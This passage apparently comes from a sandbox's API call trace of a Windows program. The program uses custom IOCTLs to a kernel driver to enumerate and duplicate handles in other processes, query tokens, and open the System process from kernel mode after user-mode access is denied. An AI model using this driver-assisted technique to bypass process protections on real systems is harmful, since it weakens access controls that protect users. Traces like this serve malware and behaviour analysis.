Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8001a2d420, HandleInformation=0x0) returned 0x0 [0061.851] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0061.851] PsReleaseProcessExitSynchronization () returned 0x2 [0061.851] ObfDereferenceObject (Object=0xfffffa8003c04ab0) returned 0xa9 [0061.851] ObQueryNameString (in: Object=0xfffffa8001a2d420, ObjectNameInfo=0xfffffa80038ce044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038ce044, ReturnLength=0xfffff880054f8550) returned 0x0 [0061.851] ObfDereferenceObject (Object=0xfffffa8001a2d420) returned 0x2 [0061.851] IofCompleteRequest (Irp=0xfffffa800d08d010, PriorityBoost=0) [0061.851] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec0090 | out: hHeap=0x150000) returned 1 [0061.851] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x738) returned 0xc4 [0061.851] GetCurrentProcess () returned 0xffffffffffffffff [0061.851] DuplicateHandle (in: hSourceProcessHandle=0xc4, hSourceHandle=0x34, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0xc0) returned 1 [0061.851] CloseHandle (hObject=0xc4) returned 1 [0061.851] NtQueryObject (in: Handle=0xc0, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x12d4b0 | out: ObjectInformation=0x0, ReturnLength=0x12d4b0) returned 0xc0000004 [0061.851] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x78) returned 0x174c50 [0061.851] NtQueryObject (in: Handle=0xc0, ObjectInformationClass=0x2, ObjectInformation=0x174c50, ObjectInformationLength=0x78, ReturnLength=0x0 | out: ObjectInformation=0x174c50, ReturnLength=0x0) returned 0x0 [0061.851] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x174c50 | out: hHeap=0x150000) returned 1 [0061.851] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x738) returned 0xc4 [0061.851] GetCurrentProcess () returned 0xffffffffffffffff [0061.852] DuplicateHandle (in: hSourceProcessHandle=0xc4, hSourceHandle=0x34, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x8, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0xc8) returned 1 [0061.852] CloseHandle (hObject=0xc4) returned 1 [0061.852] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12dbc0, TokenInformationLength=0x800, ReturnLength=0x12d4b4 | out: TokenInformation=0x12dbc0, ReturnLength=0x12d4b4) returned 1 [0061.852] LookupAccountSidW (in: lpSystemName="", Sid=0x12dbd0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12), Name=0x12d9b0, cchName=0x12d4bc, ReferencedDomainName=0x12d7a0, cchReferencedDomainName=0x12d4b8, peUse=0x12d4e8 | out: Name="SYSTEM", cchName=0x12d4bc, ReferencedDomainName="NT AUTHORITY", cchReferencedDomainName=0x12d4b8, peUse=0x12d4e8) returned 1 [0063.082] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0xa, TokenInformation=0x12d568, TokenInformationLength=0x38, ReturnLength=0x12d4b4 | out: TokenInformation=0x12d568, ReturnLength=0x12d4b4) returned 1 [0063.082] GetLastError () returned 0x32 [0063.082] SetLastError (dwErrCode=0x32) [0063.082] GetLastError () returned 0x32 [0063.082] SetLastError (dwErrCode=0x32) [0063.082] CloseHandle (hObject=0xc8) returned 1 [0063.082] CloseHandle (hObject=0xc0) returned 1 [0063.082] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4c4) returned 0xc0 [0063.082] GetCurrentProcess () returned 0xffffffffffffffff [0063.082] DuplicateHandle (in: hSourceProcessHandle=0xc0, hSourceHandle=0x150, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0x0) returned 0 [0063.082] CloseHandle (hObject=0xc0) returned 1 [0063.082] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x88) returned 0x18cb50 [0063.082] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335004c, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x18cb50, nOutBufferSize=0x88, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x18cb50*, lpBytesReturned=0x12d450*=0x1c, lpOverlapped=0x0) returned 1 [0063.082] PsLookupProcessByProcessId (in: ProcessId=0x4c4, Process=0xfffff880054f85a8 | out: Process=0xfffff880054f85a8) returned 0x0 [0063.082] PsAcquireProcessExitSynchronization () returned 0x0 [0063.082] KeStackAttachProcess (in: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880054f85c8 | out: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880054f85c8) [0063.082] ObReferenceObjectByHandle (in: Handle=0x150, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f85b0, HandleInformation=0x0 | out: Object=0xfffff880054f85b0*=0xfffff8a0015fb200, HandleInformation=0x0) returned 0x0 [0063.082] PsReleaseProcessExitSynchronization () returned 0x2 [0063.082] ObfDereferenceObject (Object=0xfffffa8002b78b30) returned 0xba [0063.082] ZwQueryObject (in: Handle=0x150, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0xfffff880054f85a4 | out: ObjectInformation=0x0, ReturnLength=0xfffff880054f85a4) returned 0xc0000004 [0063.082] ExAllocatePoolWithTag (PoolType=0x1, NumberOfBytes=0x80, Tag=0x58637250) returned 0xfffff8a002553940 [0063.082] ZwQueryObject (in: Handle=0x150, ObjectInformationClass=0x2, ObjectInformation=0xfffff8a002553940, ObjectInformationLength=0x80, ReturnLength=0x0 | out: ObjectInformation=0xfffff8a002553940, ReturnLength=0x0) returned 0x0 [0063.083] ExFreePoolWithTag (P=0xfffff8a002553940, Tag=0x0) [0063.083] ObfDereferenceObject (Object=0xfffff8a0015fb200) returned 0x2 [0063.083] KeUnstackDetachProcess (ApcState=0xfffff880054f85c8) [0063.083] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0063.083] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x18cb50 | out: hHeap=0x150000) returned 1 [0063.083] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0063.083] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0063.083] PsLookupProcessByProcessId (in: ProcessId=0x4c4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0063.083] PsAcquireProcessExitSynchronization () returned 0x0 [0063.083] KeStackAttachProcess (in: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880054f85d0) [0063.083] ObReferenceObjectByHandle (in: Handle=0x150, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a0015fb200, HandleInformation=0x0) returned 0x0 [0063.083] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0063.083] PsReleaseProcessExitSynchronization () returned 0x2 [0063.083] ObfDereferenceObject (Object=0xfffffa8002b78b30) returned 0xba [0063.083] ObQueryNameString (in: Object=0xfffff8a0015fb200, ObjectNameInfo=0xfffffa800200c404, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa800200c404, ReturnLength=0xfffff880054f8550) returned 0x0 [0063.083] ObfDereferenceObject (Object=0xfffff8a0015fb200) returned 0x2 [0063.083] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0063.083] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0063.083] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x46c) returned 0xc0 [0063.083] GetCurrentProcess () returned 0xffffffffffffffff [0063.083] DuplicateHandle (in: hSourceProcessHandle=0xc0, hSourceHandle=0x200, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0x0) returned 0 [0063.083] CloseHandle (hObject=0xc0) returned 1 [0063.083] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x88) returned 0x18cb50 [0063.083] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335004c, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x18cb50, nOutBufferSize=0x88, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x18cb50*, lpBytesReturned=0x12d450*=0x22, lpOverlapped=0x0) returned 1 [0063.083] PsLookupProcessByProcessId (in: ProcessId=0x46c, Process=0xfffff880054f85a8 | out: Process=0xfffff880054f85a8) returned 0x0 [0063.083] PsAcquireProcessExitSynchronization () returned 0x0 [0063.083] KeStackAttachProcess (in: PROCESS=0xfffffa8003235b30, ApcState=0xfffff880054f85c8 | out: PROCESS=0xfffffa8003235b30, ApcState=0xfffff880054f85c8) [0063.083] ObReferenceObjectByHandle (in: Handle=0x200, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f85b0, HandleInformation=0x0 | out: Object=0xfffff880054f85b0*=0xfffffa8003477400, HandleInformation=0x0) returned 0x0 [0063.083] PsReleaseProcessExitSynchronization () returned 0x2 [0063.083] ObfDereferenceObject (Object=0xfffffa8003235b30) returned 0x88 [0063.083] ZwQueryObject (in: Handle=0x200, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0xfffff880054f85a4 | out: ObjectInformation=0x0, ReturnLength=0xfffff880054f85a4) returned 0xc0000004 [0063.083] ExAllocatePoolWithTag (PoolType=0x1, NumberOfBytes=0x88, Tag=0x58637250) returned 0xfffff8a002c07ce0 [0063.083] ZwQueryObject (in: Handle=0x200, ObjectInformationClass=0x2, ObjectInformation=0xfffff8a002c07ce0, ObjectInformationLength=0x88, ReturnLength=0x0 | out: ObjectInformation=0xfffff8a002c07ce0, ReturnLength=0x0) returned 0x0 [0063.083] ExFreePoolWithTag (P=0xfffff8a002c07ce0, Tag=0x0) [0063.083] ObfDereferenceObject (Object=0xfffffa8003477400) returned 0x2 [0063.083] KeUnstackDetachProcess (ApcState=0xfffff880054f85c8) [0063.084] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0063.084] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x18cb50 | out: hHeap=0x150000) returned 1 [0063.084] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0063.084] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0063.084] PsLookupProcessByProcessId (in: ProcessId=0x46c, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0063.084] PsAcquireProcessExitSynchronization () returned 0x0 [0063.084] KeStackAttachProcess (in: PROCESS=0xfffffa8003235b30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8003235b30, ApcState=0xfffff880054f85d0) [0063.084] ObReferenceObjectByHandle (in: Handle=0x200, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8003477400, HandleInformation=0x0) returned 0x0 [0063.084] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0063.084] PsReleaseProcessExitSynchronization () returned 0x2 [0063.084] ObfDereferenceObject (Object=0xfffffa8003235b30) returned 0x88 [0063.084] ObQueryNameString (in: Object=0xfffffa8003477400, ObjectNameInfo=0xfffffa80038ce044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038ce044, ReturnLength=0xfffff880054f8550) returned 0x0 [0063.084] ObfDereferenceObject (Object=0xfffffa8003477400) returned 0x2 [0063.084] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0063.084] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0063.084] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x370) returned 0xc0 [0063.084] GetCurrentProcess () returned 0xffffffffffffffff [0063.084] DuplicateHandle (in: hSourceProcessHandle=0xc0, hSourceHandle=0x95c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0xc8) returned 1 [0063.084] CloseHandle (hObject=0xc0) returned 1 [0063.084] NtQueryObject (in: Handle=0xc8, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x12d4b0 | out: ObjectInformation=0x0, ReturnLength=0x12d4b0) returned 0xc0000004 [0063.084] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x70) returned 0x174c50 [0063.084] NtQueryObject (in: Handle=0xc8, ObjectInformationClass=0x2, ObjectInformation=0x174c50, ObjectInformationLength=0x70, ReturnLength=0x0 | out: ObjectInformation=0x174c50, ReturnLength=0x0) returned 0x0 [0063.084] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x174c50 | out: hHeap=0x150000) returned 1 [0063.084] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0063.084] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x64, lpOverlapped=0x0) returned 1 [0063.084] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0063.084] PsAcquireProcessExitSynchronization () returned 0x0 [0063.084] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054f85d0) [0063.084] ObReferenceObjectByHandle (in: Handle=0x95c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8002faa730, HandleInformation=0x0) returned 0x0 [0063.084] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0063.084] PsReleaseProcessExitSynchronization () returned 0x2 [0063.084] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x205 [0063.084] ObQueryNameString (in: Object=0xfffffa8002faa730, ObjectNameInfo=0xfffffa80038d5044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038d5044, ReturnLength=0xfffff880054f8550) returned 0x0 [0063.085] ObfDereferenceObject (Object=0xfffffa8002faa730) returned 0x5 [0063.085] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0063.085] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0063.085] CloseHandle (hObject=0xc8) returned 1 [0063.085] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x338) returned 0xc8 [0063.085] GetCurrentProcess () returned 0xffffffffffffffff [0063.085] DuplicateHandle (in: hSourceProcessHandle=0xc8, hSourceHandle=0x320, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0xc0) returned 1 [0063.085] CloseHandle (hObject=0xc8) returned 1 [0063.085] NtQueryObject (in: Handle=0xc0, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x12d4b0 | out: ObjectInformation=0x0, ReturnLength=0x12d4b0) returned 0xc0000004 [0063.085] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x90) returned 0x174820 [0063.085] NtQueryObject (in: Handle=0xc0, ObjectInformationClass=0x2, ObjectInformation=0x174820, ObjectInformationLength=0x90, ReturnLength=0x0 | out: ObjectInformation=0x174820, ReturnLength=0x0) returned 0x0 [0063.085] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x174820 | out: hHeap=0x150000) returned 1 [0063.085] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0063.085] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0063.085] PsLookupProcessByProcessId (in: ProcessId=0x338, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0063.085] PsAcquireProcessExitSynchronization () returned 0x0 [0063.085] KeStackAttachProcess (in: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880054f85d0) [0063.085] ObReferenceObjectByHandle (in: Handle=0x320, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80031a5c70, HandleInformation=0x0) returned 0x0 [0063.085] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0063.085] PsReleaseProcessExitSynchronization () returned 0x2 [0063.085] ObfDereferenceObject (Object=0xfffffa800312bb30) returned 0xd2 [0063.085] ObQueryNameString (in: Object=0xfffffa80031a5c70, ObjectNameInfo=0xfffffa80038d4044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038d4044, ReturnLength=0xfffff880054f8550) returned 0x0 [0063.085] ObfDereferenceObject (Object=0xfffffa80031a5c70) returned 0x2 [0063.085] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0063.085] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0063.085] CloseHandle (hObject=0xc0) returned 1 [0063.085] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x1e8) returned 0xc0 [0063.085] GetCurrentProcess () returned 0xffffffffffffffff [0063.085] DuplicateHandle (in: hSourceProcessHandle=0xc0, hSourceHandle=0x170, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0xc8) returned 1 [0063.085] CloseHandle (hObject=0xc0) returned 1 [0063.086] NtQueryObject (in: Handle=0xc8, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x12d4b0 | out: ObjectInformation=0x0, ReturnLength=0x12d4b0) returned 0xc0000004 [0063.086] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x78) returned 0x174c50 [0063.086] NtQueryObject (in: Handle=0xc8, ObjectInformationClass=0x2, ObjectInformation=0x174c50, ObjectInformationLength=0x78, ReturnLength=0x0 | out: ObjectInformation=0x174c50, ReturnLength=0x0) returned 0x0 [0063.086] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x174c50 | out: hHeap=0x150000) returned 1 [0063.086] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0063.086] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x38, lpOverlapped=0x0) returned 1 [0063.086] PsLookupProcessByProcessId (in: ProcessId=0x1e8, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0063.086] PsAcquireProcessExitSynchronization () returned 0x0 [0063.086] KeStackAttachProcess (in: PROCESS=0xfffffa8003058b30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8003058b30, ApcState=0xfffff880054f85d0) [0063.086] ObReferenceObjectByHandle (in: Handle=0x170, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa800b6ae940, HandleInformation=0x0) returned 0x0 [0063.086] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0063.086] PsReleaseProcessExitSynchronization () returned 0x2 [0063.086] ObfDereferenceObject (Object=0xfffffa8003058b30) returned 0x43 [0063.086] ObQueryNameString (in: Object=0xfffffa800b6ae940, ObjectNameInfo=0xfffffa80038bf044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038bf044, ReturnLength=0xfffff880054f8550) returned 0x0 [0063.086] ObfDereferenceObject (Object=0xfffffa800b6ae940) returned 0xc [0063.086] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0063.086] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0063.086] CloseHandle (hObject=0xc8) returned 1 [0063.086] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x184) returned 0xc8 [0063.086] GetCurrentProcess () returned 0xffffffffffffffff [0063.086] DuplicateHandle (in: hSourceProcessHandle=0xc8, hSourceHandle=0x38, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0xc0) returned 1 [0063.086] CloseHandle (hObject=0xc8) returned 1 [0063.086] NtQueryObject (in: Handle=0xc0, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x12d4b0 | out: ObjectInformation=0x0, ReturnLength=0x12d4b0) returned 0xc0000004 [0063.086] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x88) returned 0x18cb50 [0063.086] NtQueryObject (in: Handle=0xc0, ObjectInformationClass=0x2, ObjectInformation=0x18cb50, ObjectInformationLength=0x88, ReturnLength=0x0 | out: ObjectInformation=0x18cb50, ReturnLength=0x0) returned 0x0 [0063.086] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x18cb50 | out: hHeap=0x150000) returned 1 [0063.086] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0063.086] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x52, lpOverlapped=0x0) returned 1 [0063.086] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0063.086] PsAcquireProcessExitSynchronization () returned 0x0 [0063.086] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0) [0063.086] ObReferenceObjectByHandle (in: Handle=0x38, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a004ab7080, HandleInformation=0x0) returned 0x0 [0063.086] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0063.087] PsReleaseProcessExitSynchronization () returned 0x2 [0063.087] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x147 [0063.087] ObQueryNameString (in: Object=0xfffff8a004ab7080, ObjectNameInfo=0xfffffa800378a044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa800378a044, ReturnLength=0xfffff880054f8550) returned 0x0 [0063.087] ObfDereferenceObject (Object=0xfffff8a004ab7080) returned 0x3 [0063.087] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0063.087] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0063.087] CloseHandle (hObject=0xc0) returned 1 [0063.087] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0063.087] GetLastError () returned 0x5 [0063.087] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335003c, lpInBuffer=0x12d400*, nInBufferSize=0x8, lpOutBuffer=0x12d408, nOutBufferSize=0x8, lpBytesReturned=0x12d390, lpOverlapped=0x0 | out: lpInBuffer=0x12d400*, lpOutBuffer=0x12d408*, lpBytesReturned=0x12d390*=0x8, lpOverlapped=0x0) returned 1 [0063.087] ZwOpenProcess (in: ProcessHandle=0xfffffa8002007ac0, DesiredAccess=0x10000000, ObjectAttributes=0xfffff880054f8688*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xfffff880054f8678*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xfffffa8002007ac0*=0xc0) returned 0x0 [0063.087] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0063.087] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350014, lpInBuffer=0x12d430*, nInBufferSize=0x20, lpOutBuffer=0x12d470, nOutBufferSize=0x8, lpBytesReturned=0x12d3d0, lpOverlapped=0x0 | out: lpInBuffer=0x12d430*, lpOutBuffer=0x12d470*, lpBytesReturned=0x12d3d0*=0x8, lpOverlapped=0x0) returned 1 [0063.087] ZwOpenProcess (in: ProcessHandle=0xfffff880054f85f0, DesiredAccess=0x40, ObjectAttributes=0xfffff880054f8608*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x200, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xfffff880054f85f8*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xfffff880054f85f0*=0xffffffff80000954) returned 0x0 [0063.087] ZwDuplicateObject (in: SourceProcessHandle=0xffffffff80000954, SourceHandle=0x424, TargetProcessHandle=0xffffffffffffffff, TargetHandle=0xfffffa8002007ac0, DesiredAccess=0xfffff88010000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0xfffffa8002007ac0*=0xc8) returned 0x0 [0063.087] ZwClose (Handle=0xffffffff80000954) returned 0x0 [0063.087] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0063.087] CloseHandle (hObject=0xc0) returned 1 [0063.087] NtQueryObject (in: Handle=0xc8, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x12d4b0 | out: ObjectInformation=0x0, ReturnLength=0x12d4b0) returned 0xc0000004 [0063.087] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x78) returned 0x174c50 [0063.087] NtQueryObject (in: Handle=0xc8, ObjectInformationClass=0x2, ObjectInformation=0x174c50, ObjectInformationLength=0x78, ReturnLength=0x0 | out: ObjectInformation=0x174c50, ReturnLength=0x0) returned 0x0 [0063.087] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x174c50 | out: hHeap=0x150000) returned 1 [0063.087] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0063.087] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, 